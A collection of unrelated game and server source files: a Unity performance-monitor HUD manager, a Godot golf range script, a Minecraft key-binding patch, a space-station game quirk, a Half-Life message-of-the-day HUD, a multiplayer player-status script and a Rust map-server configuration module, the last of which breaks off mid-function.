m_ramManager.SetState(ModuleState.FULL); m_audioManager.SetState(ModuleState.OFF); m_advancedData.SetState(ModuleState.OFF); break; case ModulePreset.FPS_TEXT_RAM_TEXT_AUDIO_TEXT: m_fpsManager.SetState(ModuleState.TEXT); m_ramManager.SetState(ModuleState.TEXT); m_audioManager.SetState(ModuleState.TEXT); m_advancedData.SetState(ModuleState.OFF); break; case ModulePreset.FPS_FULL_RAM_TEXT_AUDIO_TEXT: m_fpsManager.SetState(ModuleState.FULL); m_ramManager.SetState(ModuleState.TEXT); m_audioManager.SetState(ModuleState.TEXT); m_advancedData.SetState(ModuleState.OFF); break; case ModulePreset.FPS_FULL_RAM_FULL_AUDIO_TEXT: m_fpsManager.SetState(ModuleState.FULL); m_ramManager.SetState(ModuleState.FULL); m_audioManager.SetState(ModuleState.TEXT); m_advancedData.SetState(ModuleState.OFF); break; case ModulePreset.FPS_FULL_RAM_FULL_AUDIO_FULL: m_fpsManager.SetState(ModuleState.FULL); m_ramManager.SetState(ModuleState.FULL); m_audioManager.SetState(ModuleState.FULL); m_advancedData.SetState(ModuleState.OFF); break; case ModulePreset.FPS_FULL_RAM_FULL_AUDIO_FULL_ADVANCED_FULL: m_fpsManager.SetState(ModuleState.FULL); m_ramManager.SetState(ModuleState.FULL); m_audioManager.SetState(ModuleState.FULL); m_advancedData.SetState(ModuleState.FULL); break; case ModulePreset.FPS_BASIC_ADVANCED_FULL: m_fpsManager.SetState(ModuleState.BASIC); m_ramManager.SetState(ModuleState.OFF); m_audioManager.SetState(ModuleState.OFF); m_advancedData.SetState(ModuleState.FULL); break; default: Debug.LogWarning( "[GraphyManager]::SetPreset - Tried to set a preset that is not supported." ); break; } } public void ToggleActive() { if (!m_active) { Enable(); } else { Disable(); } } public void Enable() { if (!m_active) { if (m_initialized) { m_fpsManager.RestorePreviousState(); m_ramManager.RestorePreviousState(); m_audioManager.RestorePreviousState(); m_advancedData.RestorePreviousState(); m_active = true; } else { Init(); } } } public void Disable() { if (m_active) { m_fpsManager.SetState(ModuleState.OFF); m_ramManager.SetState(ModuleState.OFF); m_audioManager.SetState(ModuleState.OFF); m_advancedData.SetState(ModuleState.OFF); m_active = false; } } #endregion #region Methods -> Private private void Init() { if (m_keepAlive) { DontDestroyOnLoad(transform.root.gameObject); } m_fpsMonitor = GetComponentInChildren(typeof(G_FpsMonitor), true) as G_FpsMonitor; m_ramMonitor = GetComponentInChildren(typeof(G_RamMonitor), true) as G_RamMonitor; m_audioMonitor = GetComponentInChildren(typeof(G_AudioMonitor), true) as G_AudioMonitor; m_fpsManager = GetComponentInChildren(typeof(G_FpsManager), true) as G_FpsManager; m_ramManager = GetComponentInChildren(typeof(G_RamManager), true) as G_RamManager; m_audioManager = GetComponentInChildren(typeof(G_AudioManager), true) as G_AudioManager; m_advancedData = GetComponentInChildren(typeof(G_AdvancedData), true) as G_AdvancedData; m_fpsManager .SetPosition(m_graphModulePosition); m_ramManager .SetPosition(m_graphModulePosition); m_audioManager .SetPosition(m_graphModulePosition); m_advancedData .SetPosition(m_advancedModulePosition); m_fpsManager .SetState (m_fpsModuleState); m_ramManager .SetState (m_ramModuleState); m_audioManager .SetState (m_audioModuleState); m_advancedData .SetState (m_advancedModuleState); if (!m_enableOnStartup) { ToggleActive(); // We need to enable this on startup because we disable it in GraphyManagerEditor GetComponent<Canvas>().enabled = true; } m_initialized = true; } private void CheckForHotkeyPresses() { #if GRAPHY_NEW_INPUT // Toggle Mode --------------------------------------- if (m_toggleModeCtrl && m_toggleModeAlt) { if (CheckFor3KeyPress(m_toggleModeKeyCode, Key.LeftCtrl, Key.LeftAlt) || CheckFor3KeyPress(m_toggleModeKeyCode, Key.RightCtrl, Key.LeftAlt) || CheckFor3KeyPress(m_toggleModeKeyCode, Key.RightCtrl, Key.RightAlt) || CheckFor3KeyPress(m_toggleModeKeyCode, Key.LeftCtrl, Key.RightAlt)) { ToggleModes(); } } else if (m_toggleModeCtrl) { if (CheckFor2KeyPress(m_toggleModeKeyCode, Key.LeftCtrl) || CheckFor2KeyPress(m_toggleModeKeyCode, Key.RightCtrl)) { ToggleModes(); } } else if (m_toggleModeAlt) { if (CheckFor2KeyPress(m_toggleModeKeyCode, Key.LeftAlt) || CheckFor2KeyPress(m_toggleModeKeyCode, Key.RightAlt)) { ToggleModes(); } } else { if (CheckFor1KeyPress(m_toggleModeKeyCode)) { ToggleModes(); } } // Toggle Active ------------------------------------- if (m_toggleActiveCtrl && m_toggleActiveAlt) { if (CheckFor3KeyPress(m_toggleActiveKeyCode, Key.LeftCtrl, Key.LeftAlt) || CheckFor3KeyPress(m_toggleActiveKeyCode, Key.RightCtrl, Key.LeftAlt) || CheckFor3KeyPress(m_toggleActiveKeyCode, Key.RightCtrl, Key.RightAlt) || CheckFor3KeyPress(m_toggleActiveKeyCode, Key.LeftCtrl, Key.RightAlt)) { ToggleActive(); } } else if (m_toggleActiveCtrl) { if (CheckFor2KeyPress(m_toggleActiveKeyCode, Key.LeftCtrl) || CheckFor2KeyPress(m_toggleActiveKeyCode, Key.RightCtrl)) { ToggleActive(); } } else if (m_toggleActiveAlt) { if (CheckFor2KeyPress(m_toggleActiveKeyCode, Key.LeftAlt) || CheckFor2KeyPress(m_toggleActiveKeyCode, Key.RightAlt)) { ToggleActive(); } } else { if (CheckFor1KeyPress(m_toggleActiveKeyCode)) { ToggleActive(); } } #else // Toggle Mode --------------------------------------- if (m_toggleModeCtrl && m_toggleModeAlt) { if (CheckFor3KeyPress(m_toggleModeKeyCode, KeyCode.LeftControl, KeyCode.LeftAlt) || CheckFor3KeyPress(m_toggleModeKeyCode, KeyCode.RightControl, KeyCode.LeftAlt) || CheckFor3KeyPress(m_toggleModeKeyCode, KeyCode.RightControl, KeyCode.RightAlt) || CheckFor3KeyPress(m_toggleModeKeyCode, KeyCode.LeftControl, KeyCode.RightAlt)) { ToggleModes(); } } else if (m_toggleModeCtrl) { if ( CheckFor2KeyPress(m_toggleModeKeyCode, KeyCode.LeftControl) || CheckFor2KeyPress(m_toggleModeKeyCode, KeyCode.RightControl)) { ToggleModes(); } } else if (m_toggleModeAlt) { if ( CheckFor2KeyPress(m_toggleModeKeyCode, KeyCode.LeftAlt) || CheckFor2KeyPress(m_toggleModeKeyCode, KeyCode.RightAlt)) { ToggleModes(); } } else { if (CheckFor1KeyPress(m_toggleModeKeyCode)) { ToggleModes(); } } // Toggle Active ------------------------------------- if (m_toggleActiveCtrl && m_toggleActiveAlt) { if ( CheckFor3KeyPress(m_toggleActiveKeyCode, KeyCode.LeftControl, KeyCode.LeftAlt) || CheckFor3KeyPress(m_toggleActiveKeyCode, KeyCode.RightControl, KeyCode.LeftAlt) || CheckFor3KeyPress(m_toggleActiveKeyCode, KeyCode.RightControl, KeyCode.RightAlt) || CheckFor3KeyPress(m_toggleActiveKeyCode, KeyCode.LeftControl, KeyCode.RightAlt)) { ToggleActive(); } } else if (m_toggleActiveCtrl) { if ( CheckFor2KeyPress(m_toggleActiveKeyCode, KeyCode.LeftControl) || CheckFor2KeyPress(m_toggleActiveKeyCode, KeyCode.RightControl)) { ToggleActive(); } } else if (m_toggleActiveAlt) { if ( CheckFor2KeyPress(m_toggleActiveKeyCode, KeyCode.LeftAlt) || CheckFor2KeyPress(m_toggleActiveKeyCode, KeyCode.RightAlt)) { ToggleActive(); } } else { if (CheckFor1KeyPress(m_toggleActiveKeyCode)) { ToggleActive(); } } #endif } #if GRAPHY_NEW_INPUT private bool CheckFor1KeyPress(Key key) { Keyboard currentKeyboard = Keyboard.current; if (currentKeyboard != null) { return Keyboard.current[key].wasPressedThisFrame; } return false; } private bool CheckFor2KeyPress(Key key1, Key key2) { Keyboard currentKeyboard = Keyboard.current; if (currentKeyboard != null) { return Keyboard.current[key1].wasPressedThisFrame && Keyboard.current[key2].isPressed || Keyboard.current[key2].wasPressedThisFrame && Keyboard.current[key1].isPressed; } return false; } private bool CheckFor3KeyPress(Key key1, Key key2, Key key3) { Keyboard currentKeyboard = Keyboard.current; if (currentKeyboard != null) { return Keyboard.current[key1].wasPressedThisFrame && Keyboard.current[key2].isPressed && Keyboard.current[key3].isPressed || Keyboard.current[key2].wasPressedThisFrame && Keyboard.current[key1].isPressed && Keyboard.current[key3].isPressed || Keyboard.current[key3].wasPressedThisFrame && Keyboard.current[key1].isPressed && Keyboard.current[key2].isPressed; } return false; } #else private bool CheckFor1KeyPress(KeyCode key) { return Input.GetKeyDown(key); } private bool CheckFor2KeyPress(KeyCode key1, KeyCode key2) { return Input.GetKeyDown(key1) && Input.GetKey(key2) || Input.GetKeyDown(key2) && Input.GetKey(key1); } private bool CheckFor3KeyPress(KeyCode key1, KeyCode key2, KeyCode key3) { return Input.GetKeyDown(key1) && Input.GetKey(key2) && Input.GetKey(key3) || Input.GetKeyDown(key2) && Input.GetKey(key1) && Input.GetKey(key3) || Input.GetKeyDown(key3) && Input.GetKey(key1) && Input.GetKey(key2); } #endif private void UpdateAllParameters() { m_fpsManager .UpdateParameters(); m_ramManager .UpdateParameters(); m_audioManager .UpdateParameters(); m_advancedData .UpdateParameters(); } private void RefreshAllParameters() { m_fpsManager .RefreshParameters(); m_ramManager .RefreshParameters(); m_audioManager .RefreshParameters(); m_advancedData .RefreshParameters(); } #endregion } }
1
0.75925
1
0.75925
game-dev
MEDIA
0.642584
game-dev
0.714507
1
0.714507
jhauck2/OpenShotGolf
1,200
Courses/Range/range.gd
extends Node3D var track_points : bool = false var trail_timer : float = 0.0 var trail_resolution : float = 0.1 var apex := 0 var ball_data: Dictionary = {"Distance": "---", "Carry": "---", "Offline": "---", "Apex": "---", "VLA": 0.0, "HLA": 0.0} var ball_reset_time := 5.0 var auto_reset_enabled := false # Called when the node enters the scene tree for the first time. func _ready() -> void: $PhantomCamera3D.follow_target = $GolfBall/Ball # Called every frame. 'delta' is the elapsed time since the previous frame. func _process(_delta: float) -> void: ball_data["Distance"] = str($GolfBall.get_distance()) ball_data["Carry"] = str($GolfBall.carry) ball_data["Apex"] = str($GolfBall.apex*3) var offline = $GolfBall.get_offline() var offline_text := "R" if offline < 0: offline_text = "L" offline_text += str(abs(offline)) ball_data["Offline"] = offline_text $RangeUI.set_data(ball_data) func _on_tcp_client_hit_ball(data: Dictionary) -> void: ball_data = data.duplicate() func _on_golf_ball_rest(_ball_data) -> void: if auto_reset_enabled: await get_tree().create_timer(ball_reset_time).timeout $GolfBall.reset_ball() ball_data["HLA"] = 0.0 ball_data["VLA"] = 0.0
1
0.744269
1
0.744269
game-dev
MEDIA
0.446268
game-dev
0.914796
1
0.914796
neoforged/NeoForge
1,973
patches/net/minecraft/client/gui/screens/options/controls/KeyBindsList.java.patch
--- a/net/minecraft/client/gui/screens/options/controls/KeyBindsList.java +++ b/net/minecraft/client/gui/screens/options/controls/KeyBindsList.java @@ -40,7 +_,7 @@ this.addEntry(new KeyBindsList.CategoryEntry(keymapping$category1)); } - Component component = Component.translatable(keymapping.getName()); + Component component = keymapping.getDisplayName(); int i = p_346132_.font.width(component); if (i > this.maxNameWidth) { this.maxNameWidth = i; @@ -125,6 +_,7 @@ ) .build(); this.resetButton = Button.builder(RESET_BUTTON_TITLE, p_359096_ -> { + this.key.setToDefault(); p_345998_.setKey(p_345998_.getDefaultKey()); KeyBindsList.this.resetMappingAndUpdateButtons(); }).bounds(0, 0, 50, 20).createNarration(p_344899_ -> Component.translatable("narrator.controls.reset", p_345196_)).build(); @@ -166,13 +_,13 @@ MutableComponent mutablecomponent = Component.empty(); if (!this.key.isUnbound()) { for (KeyMapping keymapping : KeyBindsList.this.minecraft.options.keyMappings) { - if (keymapping != this.key && this.key.same(keymapping) && (!keymapping.isDefault() || !this.key.isDefault())) { + if ((keymapping != this.key && this.key.same(keymapping)) || keymapping.hasKeyModifierConflict(this.key)) { // Neo: gracefully handle conflicts like SHIFT vs SHIFT+G if (this.hasCollision) { mutablecomponent.append(", "); } this.hasCollision = true; - mutablecomponent.append(Component.translatable(keymapping.getName())); + mutablecomponent.append(keymapping.getDisplayName()); } } }
1
0.851438
1
0.851438
game-dev
MEDIA
0.747468
game-dev
0.933847
1
0.933847
Return-To-The-Roots/s25client
5,688
libs/s25main/ingameWindows/iwMilitary.cpp
// Copyright (C) 2005 - 2021 Settlers Freaks (sf-team at siedler25.org) // // SPDX-License-Identifier: GPL-2.0-or-later #include "iwMilitary.h" #include "GamePlayer.h" #include "GlobalGameSettings.h" #include "Loader.h" #include "WindowManager.h" #include "addons/const_addons.h" #include "controls/ctrlProgress.h" #include "iwHelp.h" #include "network/GameClient.h" #include "world/GameWorldBase.h" #include "world/GameWorldViewer.h" #include "gameData/SettingTypeConv.h" #include "gameData/const_gui_ids.h" iwMilitary::iwMilitary(const GameWorldViewer& gwv, GameCommandFactory& gcFactory) : TransmitSettingsIgwAdapter(CGI_MILITARY, IngameWindow::posLastOrCenter, Extent(168, 330), _("Military"), LOADER.GetImageN("io", 5)), gcFactory(gcFactory) { // Einzelne Balken const Extent progSize(132, 26); const Extent progPadding(4, 4); AddProgress(0, DrawPoint(17, 25), progSize, TextureColor::Grey, 119, 120, MILITARY_SETTINGS_SCALE[0], "", progPadding, 0, _("Fewer recruits"), _("More recruits")); /* pitch: progPadding */ AddProgress(1, DrawPoint(17, 57), progSize, TextureColor::Grey, 121, 122, MILITARY_SETTINGS_SCALE[1], "", progPadding, 0, _("Weak defense"), _("Strong defense")); AddProgress(2, DrawPoint(17, 89), progSize, TextureColor::Grey, 123, 124, MILITARY_SETTINGS_SCALE[2], "", progPadding, 0, _("Fewer defenders"), _("More defenders")); AddProgress(3, DrawPoint(17, 121), progSize, TextureColor::Grey, 209, 210, MILITARY_SETTINGS_SCALE[3], "", progPadding, 0, _("Less attackers"), _("More attackers")); AddProgress(4, DrawPoint(17, 153), progSize, TextureColor::Grey, 129, 130, MILITARY_SETTINGS_SCALE[4], "", progPadding, 0, _("Interior"), _("Interior")); AddProgress(5, DrawPoint(17, 185), progSize, TextureColor::Grey, 127, 128, MILITARY_SETTINGS_SCALE[5], "", progPadding, 0, _("Center of country"), _("Center of country")); AddProgress(6, DrawPoint(17, 217), progSize, TextureColor::Grey, 1000, 1001, MILITARY_SETTINGS_SCALE[6], "", progPadding, 0, _("Near harbor points"), _("Near harbor points")); AddProgress(7, DrawPoint(17, 249), progSize, TextureColor::Grey, 125, 126, MILITARY_SETTINGS_SCALE[7], "", progPadding, 0, _("Border areas"), _("Border areas")); // unteren 2 Buttons AddImageButton(20, DrawPoint(18, 282), Extent(30, 32), TextureColor::Grey, LOADER.GetImageN("io", 225), _("Help")); AddImageButton(21, DrawPoint(120, 282), Extent(30, 32), TextureColor::Grey, LOADER.GetImageN("io", 191), _("Default")); // Falls Verteidiger ändern verboten ist, einfach die Bar ausblenden if(gwv.GetWorld().GetGGS().getSelection(AddonId::DEFENDER_BEHAVIOR) == 1) { GetCtrl<ctrlProgress>(2)->SetVisible(false); } iwMilitary::UpdateSettings(); } /// Sendet veränderte Einstellungen (an den Client), falls sie verändert wurden void iwMilitary::TransmitSettings() { if(GAMECLIENT.IsReplayModeOn()) return; // Wurden Einstellungen geändert? if(settings_changed) { // Einstellungen speichern MilitarySettings milSettings = GAMECLIENT.visual_settings.military_settings; for(unsigned char i = 0; i < milSettings.size(); ++i) milSettings[i] = (unsigned char)GetCtrl<ctrlProgress>(i)->GetPosition(); if(gcFactory.ChangeMilitary(milSettings)) { GAMECLIENT.visual_settings.military_settings = milSettings; settings_changed = false; } } } void iwMilitary::Msg_ProgressChange(const unsigned /*ctrl_id*/, const unsigned short /*position*/) { // Einstellungen wurden geändert settings_changed = true; } void iwMilitary::UpdateSettings(const MilitarySettings& military_settings) { if(GAMECLIENT.IsReplayModeOn()) GAMECLIENT.ResetVisualSettings(); for(unsigned i = 0; i < military_settings.size(); ++i) GetCtrl<ctrlProgress>(i)->SetPosition(military_settings[i]); } void iwMilitary::UpdateSettings() { UpdateSettings(GAMECLIENT.visual_settings.military_settings); } void iwMilitary::Msg_ButtonClick(const unsigned ctrl_id) { switch(ctrl_id) { default: return; // Default button case 20: { WINDOWMANAGER.ReplaceWindow( std::make_unique<iwHelp>(_("This is where you can make adjustments to all military matters. " "The upper value corresponds to the recruiting rate of your army. " "The higher it is, the more inhabitants are recruited as soldiers. " "Below this is the setting to protect your huts. If this value is " "set at maximum, your huts are defended by the strongest unit. To " "raise the number of attackers leaving your huts per attack, choose " "the next setting. The number of defenders who counter the enemy in " "the event of an attack is shown by the fourth display. The final " "three values correspond to the occupation of your huts in the " "interior, in the center of the country and on its borders."))); } break; case 21: { UpdateSettings(GAMECLIENT.default_settings.military_settings); settings_changed = true; } break; } }
1
0.936568
1
0.936568
game-dev
MEDIA
0.883412
game-dev
0.872654
1
0.872654
ScriptedSnark/halflife-ps2
3,070
cl_dll/MOTD.cpp
/*** * * Copyright (c) 1999, Valve LLC. All rights reserved. * * This product contains software technology licensed from Id * Software, Inc. ("Id Technology"). Id Technology (c) 1996 Id Software, Inc. * All Rights Reserved. * * Use, distribution, and modification of this source code and/or resulting * object code is restricted to non-commercial enhancements to products from * Valve LLC. All other use, distribution, or modification is prohibited * without written permission from Valve LLC. * ****/ // // MOTD.cpp // // for displaying a server-sent message of the day // #include "hud.h" #include "util.h" #include "parsemsg.h" DECLARE_MESSAGE( m_MOTD, MOTD ); int CHudMOTD::MOTD_DISPLAY_TIME; int CHudMOTD :: Init( int player ) { gHUD.AddHudElem( this ); HOOK_MESSAGE( MOTD ); if (player == 0) { CVAR_CREATE("motd_display_time", "6", 0); } m_iFlags &= ~HUD_ACTIVE; // start out inactive m_szMOTD[0] = 0; return 1; } int CHudMOTD :: VidInit( int player ) { // Load sprites here return 1; } void CHudMOTD :: Reset( int player ) { m_iFlags &= ~HUD_ACTIVE; // start out inactive m_szMOTD[0] = 0; m_iLines = 0; m_flActiveTill = 0; } #define LINE_HEIGHT 13 int CHudMOTD :: Draw( float fTime, int player ) { // Draw MOTD line-by-line if ( m_flActiveTill < gHUD.m_flTime ) { // finished with MOTD, disable it m_szMOTD[0] = 0; m_iLines = 0; m_iFlags &= ~HUD_ACTIVE; return 1; } // cap activetill time to the display time m_flActiveTill = min( gHUD.m_flTime + MOTD_DISPLAY_TIME, m_flActiveTill ); // find the top of where the MOTD should be drawn, so the whole thing is centered in the screen int ypos = max(((ScreenHeight - (m_iLines * LINE_HEIGHT)) / 2) - 40, 30 ); // shift it up slightly char *ch = m_szMOTD; while ( *ch ) { int line_length = 0; // count the length of the current line char* next_line = 0; for ( next_line = ch; *next_line != '\n' && *next_line != 0; next_line++ ) line_length += gHUD.m_scrinfo.charWidths[ *next_line ]; char *top = next_line; if ( *top == '\n' ) *top = 0; else top = NULL; // find where to start drawing the line int xpos = (ScreenWidth - line_length) / 2; gHUD.DrawHudString( xpos, ypos, ScreenWidth, ch, 255, 180, 0 ); ypos += LINE_HEIGHT; if ( top ) // restore *top = '\n'; ch = next_line; if ( *ch == '\n' ) ch++; if ( ypos > (ScreenHeight - 20) ) break; // don't let it draw too low } return 1; } int CHudMOTD :: MsgFunc_MOTD( int player, const char *pszName, int iSize, void *pbuf ) { if ( m_iFlags & HUD_ACTIVE ) { Reset(player); // clear the current MOTD in prep for this one } BEGIN_READ( pbuf, iSize ); int is_finished = READ_BYTE(); strcat( m_szMOTD, READ_STRING() ); if ( is_finished ) { m_iFlags |= HUD_ACTIVE; MOTD_DISPLAY_TIME = CVAR_GET_FLOAT( "motd_display_time" ); m_flActiveTill = gHUD.m_flTime + MOTD_DISPLAY_TIME; for ( char *sz = m_szMOTD; *sz != 0; sz++ ) // count the number of lines in the MOTD { if ( *sz == '\n' ) m_iLines++; } } return 1; }
1
0.678439
1
0.678439
game-dev
MEDIA
0.644692
game-dev
0.600501
1
0.600501
fulpstation/fulpstation
1,922
code/datums/quirks/negative_quirks/glass_jaw.dm
/datum/quirk/glass_jaw name = "Glass Jaw" desc = "You have a very fragile jaw. Any sufficiently hard blow to your head might knock you out." icon = FA_ICON_HAND_FIST value = -4 gain_text = span_danger("Your jaw feels loose.") lose_text = span_notice("Your jaw feels fitting again.") medical_record_text = "Patient is absurdly easy to knock out. Do not allow them near a boxing ring." hardcore_value = 4 mail_goodies = list( /obj/item/clothing/gloves/boxing, /obj/item/clothing/mask/luchador/rudos, ) /datum/quirk/glass_jaw/New() . = ..() //randomly picks between blue or red equipment for goodies if(prob(50)) mail_goodies = list( /obj/item/clothing/gloves/boxing, /obj/item/clothing/mask/luchador/rudos, ) else mail_goodies = list( /obj/item/clothing/gloves/boxing/blue, /obj/item/clothing/mask/luchador/tecnicos, ) /datum/quirk/glass_jaw/add(client/client_source) RegisterSignal(quirk_holder, COMSIG_MOB_APPLY_DAMAGE, PROC_REF(punch_out)) /datum/quirk/glass_jaw/remove() UnregisterSignal(quirk_holder, COMSIG_MOB_APPLY_DAMAGE) /datum/quirk/glass_jaw/proc/punch_out(mob/living/carbon/source, damage, damagetype, def_zone, blocked, wound_bonus, bare_wound_bonus, sharpness, attack_direction, attacking_item) SIGNAL_HANDLER if(isbodypart(def_zone)) var/obj/item/bodypart/hitting = def_zone def_zone = hitting.body_zone if(damagetype != BRUTE || def_zone != BODY_ZONE_HEAD) return if(damage < 5) return //blunt items are more likely to knock out, but sharp ones are still capable of doing it if(prob(CEILING(damage * (sharpness & (SHARP_EDGED|SHARP_POINTY) ? 0.65 : 1), 1))) //don't display the message if little mac is already KO'd if(!source.IsUnconscious()) source.visible_message( span_warning("[source] gets knocked out!"), span_userdanger("You get knocked out!"), vision_distance = COMBAT_MESSAGE_RANGE, ) source.Unconscious(3 SECONDS)
1
0.882863
1
0.882863
game-dev
MEDIA
0.934554
game-dev
0.930957
1
0.930957
Secrets-of-Sosaria/World
1,085
Data/Scripts/Items/Magical/Artifacts/Main/armor/Artifact_DefenderOfTheRealmChestpiece.cs
using System; using Server; namespace Server.Items { public class Artifact_DefenderOfTheRealmChestpiece : GiftPlateChest { public override int InitMinHits{ get{ return 80; } } public override int InitMaxHits{ get{ return 160; } } public override int BasePhysicalResistance{ get{ return 16; } } [Constructable] public Artifact_DefenderOfTheRealmChestpiece() { Name = "Platemail of the Defender of the Realm"; Hue = 0x35; ArmorAttributes.SelfRepair = 5; Attributes.ReflectPhysical = 10; SkillBonuses.SetValues( 0, SkillName.MagicResist, 15 ); Attributes.DefendChance = 10; Attributes.LowerManaCost = 10; ArtifactLevel = 2; Server.Misc.Arty.ArtySetup( this, 8, "" ); } public Artifact_DefenderOfTheRealmChestpiece( Serial serial ) : base( serial ) { } public override void Serialize( GenericWriter writer ) { base.Serialize( writer ); writer.Write( (int) 1 ); } public override void Deserialize(GenericReader reader) { base.Deserialize( reader ); ArtifactLevel = 2; int version = reader.ReadInt(); } } }
1
0.901996
1
0.901996
game-dev
MEDIA
0.920149
game-dev
0.855655
1
0.855655
oculus-samples/Unity-Decommissioned
4,176
Assets/Decommissioned/Scripts/Player/PlayerStatus.cs
// Copyright (c) Meta Platforms, Inc. and affiliates. // Use of the material below is subject to the terms of the MIT License // https://github.com/oculus-samples/Unity-Decommissioned/tree/main/Assets/Decommissioned/LICENSE using System; using System.Linq; using Meta.Decommissioned.Game; using Meta.Decommissioned.Game.MiniGames; using Meta.Decommissioned.Lobby; using Meta.Multiplayer.Networking; using Meta.Multiplayer.PlayerManagement; using Meta.Utilities; using Meta.XR.Samples; using Unity.Netcode; using UnityEngine; using UnityEngine.Events; namespace Meta.Decommissioned.Player { /// <summary> /// PlayerStatus allows us to access the player's current "sub-role" in the game; this determines their role and /// unique tasks during the night phase. /// </summary> [MetaCodeSample("Decommissioned")] public class PlayerStatus : NetworkMultiton<PlayerStatus> { public enum Status { None, Commander } public bool EnableLogging; [Serializable] public struct StatusData { public UnityEvent OnApply; public UnityEvent OnRemove; } public struct NightRoomSpawn : INetworkSerializeByMemcpy { public MiniGameRoom MiniGameRoom; public int SpawnIndex; public NightRoomSpawn(MiniGameRoom miniGameRoom, int spawnIndex) { MiniGameRoom = miniGameRoom; SpawnIndex = spawnIndex; } } protected NetworkVariable<Status> m_currentStatus = new(); protected NetworkVariable<NightRoomSpawn> m_nextNightRoom = new(); public Status CurrentStatus { get => m_currentStatus.Value; set => m_currentStatus.Value = value; } public GamePosition CurrentGamePosition => LocationManager.Instance.GetGamePositionByPlayer(NetworkObject); public NightRoomSpawn NextNightRoom { get => m_nextNightRoom.Value; set => m_nextNightRoom.Value = value; } public static PlayerStatus GetByPlayerId(PlayerId id) => Instances.FirstOrDefault(p => p.NetworkObject.GetOwnerPlayerId().Value == id); public static PlayerStatus GetByPlayerObject(NetworkObject player) => Instances.FirstOrDefault(p => p.gameObject == player.gameObject); protected new void Awake() { m_currentStatus.OnValueChanged += OnStatusChanged; m_nextNightRoom.OnValueChanged += OnNextNightRoomChanged; } public override void OnNetworkSpawn() { base.OnNetworkSpawn(); OnStatusChanged(default, m_currentStatus.Value); } [SerializeField] private EnumDictionary<Status, StatusData> m_statusDatas = new(); protected void OnStatusChanged(Status previousValue, Status newValue) { if (EnableLogging) { Debug.Log($"[PlayerStatus] {this} status changed to {newValue}", this); } m_statusDatas[previousValue].OnRemove?.Invoke(); m_statusDatas[newValue].OnApply?.Invoke(); } private void OnNextNightRoomChanged(NightRoomSpawn previousValue, NightRoomSpawn newValue) { Debug.Log($"[PlayerStatus] {this} next work room changed to {(newValue.MiniGameRoom, newValue.SpawnIndex)}", this); PhaseSpawnManager.Instance.OnNightRoomsChanged(); } /** * This method defines behavior for when the game ends -- reset status to default. */ public void OnGameEnd() { if (this == null || !IsServer) { return; } m_currentStatus.Value = default; } #if UNITY_EDITOR [ContextMenu("TEST: move to room None")] protected void MoveToRoomNone() { _ = LocationManager.Instance.TeleportPlayer(NetworkObject, MiniGameRoom.None); } [ContextMenu("TEST: move to room Workbench1")] protected void MoveToRoom1() { _ = LocationManager.Instance.TeleportPlayer(NetworkObject, MiniGameRoom.Science); } #endif } }
1
0.826397
1
0.826397
game-dev
MEDIA
0.943947
game-dev
0.919696
1
0.919696
bbox-services/bbox
5,831
bbox-map-server/src/config.rs
use crate::wms_fcgi_backend::{MockFcgiBackend, QgisFcgiBackend, UmnFcgiBackend}; use bbox_core::cli::CommonCommands; use bbox_core::config::{from_config_opt_or_exit, ConfigError}; use bbox_core::service::ServiceConfig; use clap::{ArgMatches, FromArgMatches}; use log::warn; use serde::Deserialize; use std::env; use std::ffi::OsStr; use std::fs::File; use std::path::Path; #[derive(Deserialize, Debug)] #[serde(default, deny_unknown_fields)] pub struct MapServiceCfg { num_fcgi_processes: Option<usize>, pub fcgi_client_pool_size: usize, pub wait_timeout: Option<u64>, pub create_timeout: Option<u64>, pub recycle_timeout: Option<u64>, pub qgis_backend: Option<QgisBackendCfg>, pub umn_backend: Option<UmnBackendCfg>, pub mock_backend: Option<MockBackendCfg>, pub search_projects: bool, pub default_project: Option<String>, } #[derive(Deserialize, Clone, Debug)] #[serde(deny_unknown_fields)] pub struct QgisBackendCfg { pub exe_location: Option<String>, pub project_basedir: String, pub qgs: Option<QgisBackendSuffixCfg>, pub qgz: Option<QgisBackendSuffixCfg>, } #[derive(Deserialize, Clone, Debug)] #[serde(deny_unknown_fields)] pub struct QgisBackendSuffixCfg { pub path: String, } impl QgisBackendCfg { pub fn new(basedir: &str) -> Self { QgisBackendCfg { exe_location: None, project_basedir: basedir.to_string(), qgs: Some(QgisBackendSuffixCfg { path: "/qgis".to_string(), }), qgz: Some(QgisBackendSuffixCfg { path: "/qgz".to_string(), }), } } } #[derive(Deserialize, Clone, Debug)] #[serde(deny_unknown_fields)] pub struct UmnBackendCfg { pub exe_location: Option<String>, pub project_basedir: String, pub path: String, } impl UmnBackendCfg { pub fn new(basedir: &str) -> Self { UmnBackendCfg { exe_location: None, project_basedir: basedir.to_string(), path: "/wms/map".to_string(), } } } #[derive(Deserialize, Clone, Debug)] #[serde(deny_unknown_fields)] #[allow(dead_code)] // `MockBackendCfg` has a derived impl for the trait `Debug`, but this is intentionally ignored during dead code analysis pub struct MockBackendCfg { pub path: String, } impl Default for MapServiceCfg { fn default() -> Self { let mut cfg = MapServiceCfg { num_fcgi_processes: None, fcgi_client_pool_size: 1, wait_timeout: Some(90000), create_timeout: Some(500), recycle_timeout: Some(500), qgis_backend: None, umn_backend: None, mock_backend: None, // we want an inventory for the map viewer search_projects: cfg!(feature = "inventory"), default_project: None, }; if let Ok(cwd) = env::current_dir().map(|p| p.into_os_string()) { cfg.qgis_backend = Some(QgisBackendCfg::new(&cwd.to_string_lossy())); cfg.umn_backend = Some(UmnBackendCfg::new(&cwd.to_string_lossy())); } cfg } } impl ServiceConfig for MapServiceCfg { fn initialize(cli: &ArgMatches) -> Result<Self, ConfigError> { // Check if there is a backend configuration let has_qgis_config = from_config_opt_or_exit::<QgisBackendCfg>("mapserver.qgis_backend").is_some(); let has_umn_config = from_config_opt_or_exit::<UmnBackendCfg>("mapserver.umn_backend").is_some(); let mut cfg: MapServiceCfg = from_config_opt_or_exit("mapserver").unwrap_or_default(); // Get config from CLI if let Ok(CommonCommands::Serve(args)) = CommonCommands::from_arg_matches(cli) { if let Some(file_or_url) = args.file_or_url { // Set project_basedir from file_or_url match Path::new(&file_or_url).extension().and_then(OsStr::to_str) { Some("qgs") | Some("qgz") => { if let Some(backend) = cfg.qgis_backend.as_mut() { if !has_qgis_config && set_backend_basedir(&mut backend.project_basedir, &file_or_url) { cfg.default_project = Some(file_or_url); } } } Some("map") => { if let Some(backend) = cfg.umn_backend.as_mut() { if !has_umn_config && set_backend_basedir(&mut backend.project_basedir, &file_or_url) { cfg.default_project = Some(file_or_url); } } } _ => { /* ignore other suffixes */ } } } } Ok(cfg) } } impl MapServiceCfg { pub fn num_fcgi_processes(&self) -> 